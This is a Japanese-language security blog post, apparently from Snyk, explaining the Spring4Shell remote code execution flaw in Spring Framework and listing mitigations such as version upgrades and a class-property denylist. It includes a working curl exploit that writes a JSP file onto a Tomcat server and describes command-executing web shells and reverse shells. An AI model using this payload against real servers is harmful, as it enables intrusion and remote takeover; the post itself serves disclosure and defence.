Skip to main content

Spring4Shell:Spring FrameworkのゼロデイRCEを解説

blog feature code vulnerability warning

2022年4月1日

0 分で読めます

2022年3月30日、Spring Frameworkで重大なリモートコード実行(RCE)の脆弱性が見つかりました。より具体的には、spring-beansパッケージの脆弱性で、spring-webmvcとspring-webfluxの両方に推移的依存関係として含まれています。この脆弱性も、オープンソースにおいてソフトウェアサプライチェーンを保護することが重要である理由を示す例です。

Lunasec、Rapid7、Praetorianなどのセキュリティリソースが、この脆弱性の実在を確認しました。その間にSpringは、この問題を緩和する新しいバージョンをすでにリリースしているため、アップデートを推奨します。Spring4Shellは、最近のLog4Shell脆弱性と同じほどの影響はないようですが、Spring Frameworkを利用するすべての組織が評価し、優先的に対処すべきです。この記事では、RCEの仕組みを解説します。

Spring4Shellを解説

リクエストマッピングがメモリに読み込まれたコントローラーがある場合、すでにこの問題の影響を受ける可能性があります。以下は、GreetingControllerに/greetingへのPostMappingを設定した例です。たとえばTomcat上のアプリケーションをhttp://mydomain/myapp/greetingで呼び出すと、入力をPOJO(Plain Old Java Object)に変換しようとします。この場合、変換先はGreetingオブジェクトです。

@Controller
public class GreetingController {

  @PostMapping("/greeting")
  public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
     model.addAttribute("greeting", greeting);
     return "result";
  }

}

しかし、Springは内部でシリアライズを使ってこれらの値をJavaオブジェクトにマッピングするため、ほかの値も設定できてしまいます。調査を進めたところ、クラスのプロパティを設定できることが分かりました。Tomcatを実行している場合、これは重大な問題になります。

この動作を実証するため、クラスのログ関連プロパティを利用してrce.jspファイルを作成する、次のcurlコマンドを使います。

curl -X POST \
 -H "pre:<%" \
 -H "post:;%>" \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}i out.println("HACKED" + (2 + 5))%{post}i' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/myapp' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
 http://mydomain/myapp/greeting

パターンに設定した内容はすべて、ファイルのコンテンツになります。エスケープ処理を工夫し、ヘッダーを利用することで、私たちのチームはTomcatサーバー上に、単純な本文<% out.println(“HACKED”); %>を含むJSPファイルを作成できました。このファイルは/myapp/rce.jspからアクセスできる状態になりました。

大きな見出し「HACKED」が表示されたlocalhostページを映すウェブブラウザー

Snyk Security ResearchチームのKirill EfimovとAviad Hahamiが作成したPOCの全容は、GitHubで公開されています。

単純なout.printlnを実行できるのであれば、Runtime.exec()を使ってターミナルコマンドを実行し、リバースシェルでアクセスできるJSPファイルも作成できます。また、JSPの機能を使ってWebシェルのインターフェースを作成することも可能です。

ほかの多くのブログで紹介されている同様のエクスプロイトでは、コマンドを実行できるJSPを作成します。このPythonスクリプトは、必要なヘッダーを含む適切なリクエストを生成します。デモアプリケーションでこのスクリプトを実行すると、次のようにwhoamiコマンドを実行できます。[http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami](http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami)。

cmd=whoamiを含むlocalhostのURLを表示したブラウザーと、コマンドを実行するJavaコードを表示し、「root」を返すページ。

影響を受けるのは?

状況は現在も急速に変化しているため、現時点で分かっていることをお伝えします。

影響を受けるspring-beansのバージョンでは、JDK 9以降を使用している場合にのみ、この脆弱性が有効になるようです。JDK 9の導入によって、以前から存在する問題CVE-2010-1622が事実上回避されました。

多くのJava開発者がすでにJava 8より後のバージョンに移行していること、そしてSpring Frameworkが広く使われていることから、多くのJavaアプリケーションがこの問題の影響を受ける可能性があると考えられます。

この問題を解決する方法はいくつかあります。Springのメンテナーは、フレームワークの新しいバージョンをリリースしました。最善の対策は、Spring Frameworkを5.3.18または5.2.20にアップデートすることです。当社のセキュリティチームによると、`spring-bean`パッケージだけを最新バージョンに更新すればよいとのことですが、フレームワーク全体を更新するほうが望ましいでしょう。Spring Bootを使用している場合は、リリース2.6.6または2.5.12に、更新済みのSpring Frameworkが組み込まれています。

Springを新しいバージョンにアップデートできない場合は、JavaのバージョンをJava 8にダウングレードする方法もあります。

別の方法として、以下のようにコントローラー内、または独立したControllerAdviceとしてInitBinderを作成できます。

@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {

  @InitBinder
  public void setAllowedFields(WebDataBinder dataBinder) {
    String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
    dataBinder.setDisallowedFields(denylist);
  }
}

ただし、これは最終的な解決策ではないことに注意してください。このようなブロックリストを作成するのは、望ましいセキュリティ対策とは言えませんが、時間を稼ぐことはできるかもしれません。Spring Frameworkのメンテナーは、ブログ記事で、ほかのすべての初期化が完了した後にRequestMappingHandlerAdapterを作成し、WebDataBinderを更新する方法を推奨しています。

フレームワークやライブラリへの依存

Spring4Shellは、オープンソースのフレームワークやライブラリに大きく依存していることを改めて示しています。しかし、今回や最近のLog4ShellのようなRCE脆弱性が見つかった場合、すぐに緩和策を講じられるよう、状況を把握しておく必要があります。

Snykは、アプリケーションを定期的にスキャンして、こうした脆弱性の把握を支援します。新たな脆弱性が検出されると、Snykがお客様とチームに通知し、アプリケーションを安全に保つための推奨される次のステップを提示します。

最後に、このようなゼロデイ脆弱性は、ライブラリを最新バージョンに保つことの重要性を改めて思い出させてくれます。常に最新の状態であれば、アップデートを適用し、再ビルドして、迅速に再リリースできます。

CTFを始めよう

オンデマンドのバーチャル入門ワークショップを視聴して、CTFの課題の解き方を学びましょう。

続きを読む

blog feature snyk container custom base recommendations
Blog

Evo Agentic AppSecのご紹介:AI開発のスピードに対応するセキュリティ

AI駆動型開発のスピードに、従来のセキュリティワークフローは追いついていません。SnykのAgentic AppSecは、セキュリティエージェントが脆弱性を継続的に検出、修正、検証し、人が基準を定められるようにします。

blog feature ai violet
Blog

VulnBump:AIエージェントはビルドを壊さずに脆弱な依存関係を修正できるか?

VulnBumpは、実際の依存関係アップグレード307件を対象にAIエージェントをテストします。脆弱性が解消され、ビルドとテストが成功した場合にのみ、修正としてカウントされます。

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。